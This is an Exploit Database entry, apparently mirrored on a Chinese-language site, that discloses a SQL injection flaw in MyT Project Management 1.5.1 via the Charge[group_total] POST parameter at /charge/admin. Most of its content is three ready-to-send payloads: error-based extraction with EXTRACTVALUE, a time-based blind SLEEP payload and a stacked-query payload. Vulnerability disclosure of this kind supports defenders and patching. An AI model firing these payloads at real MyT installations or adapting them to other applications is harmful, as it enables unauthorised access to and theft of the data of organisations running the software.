MyT Project Management 1.5.1 – ‘Charge[group_total]’ SQL Injection

• Exploit Database
• 107 阅读

• 作者： Mehmet Onder
  日期： 2019-01-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/46084/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

  # Exploit Title: MyT-PM 1.5.1 - 'Charge[group_total]' SQL Injection # Date: 03.01.2019 # Exploit Author: Mehmet Önder Key # Vendor Homepage: https://manageyourteam.net/ # Software Link: https://sourceforge.net/projects/myt/ # Version: v1.5.1 # Category: Webapps # Tested on: WAMPP @Win # Software description: MyT (Manage Your Team) - is a free open source task management and project management system, based on Yii Framework, easy to use and with a great perspective of growth for the future.   # Vulnerabilities: # An attacker can access all data following an un/authorized user login using the parameter.   # POC - SQL Injection :   # Parameter: Charge[group_total](POST) # Request URL: /charge/admin   #Type : Error Based #Payload: Charge[user_name]=k&Charge[group_total]=1) AND EXTRACTVALUE(2003,CONCAT(0x5c,0x7171716b71,(SELECT (ELT(2003=2003,1))),0x7170707071))-- eaYu&Charge_page=1&ajax=charge-grid   #Type : Time-Based Blind #Payload: Charge[user_name]=k&Charge[group_total]=1) AND (SELECT * FROM (SELECT(SLEEP(5)))ggBK)-- mGKC&Charge_page=1&ajax=charge-grid   #Type : Stacked Queries #Payload: Charge[user_name]=k&Charge[group_total]=1);SELECT SLEEP(5)#&Charge_page=1&ajax=charge-grid